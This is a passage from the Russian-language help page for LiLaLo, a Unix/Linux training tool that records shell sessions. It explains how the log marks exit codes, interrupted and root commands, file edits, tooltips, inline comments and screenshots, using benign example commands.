      $ test 5 -lt 4
      Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

    5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
      $ find / -name abc
      find: /home/devi-orig/.gnome2: Keine Berechtigung
      find: /home/devi-orig/.gnome2_private: Keine Berechtigung
      find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
      find: /home/devi-orig/.metacity: Keine Berechtigung
      find: /home/devi-orig/.inkscape: Keine Berechtigung
      ^C
      

    6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
      # id
      uid=0(root) gid=0(root) Gruppen=0(root)
      

    7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
      $ vi ~/.bashrc
      2a3,5
      >    if [ -f /usr/local/etc/bash_completion ]; then
      >         . /usr/local/etc/bash_completion
      >        fi
      

    8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
      $ patch ~/.bashrc
      В данном случае изменения применяются к файлу ~/.bashrc

    9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

      Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

    10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

    11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

    12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

    13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

    14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

      $ whoami
      
      user
      
      $ #^ Интересно, кто я?
      
      в журнале это будет выглядеть так:
      $ whoami
      
      user
      
      Интересно, кто я?

    15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

      $ whoami
      
      user
      
      $ cat > /dev/null #^ Интересно, кто я?
      
      Программа whoami выводит имя пользователя, под которым 
      мы зарегистрировались в системе.
      -
      Она не может ответить на вопрос о нашем назначении 
      в этом мире.
      
      В журнале это будет выглядеть так:
      $ whoami
      user
      
      Интересно, кто я?
      Программа whoami выводит имя пользователя, под которым
      мы зарегистрировались в системе.

      Она не может ответить на вопрос о нашем назначении
      в этом мире.
      Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

    16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

    17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
    18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
    19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
      1
          2
      3   
          4
      
      Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

    О программе

    LiLaLo (L3) расшифровывается как Live Lab Log.
    Программа разработана для повышения эффективности обучения Unix/Linux-системам.
    (c) Игорь Чубин, 2004-2008

    $Id$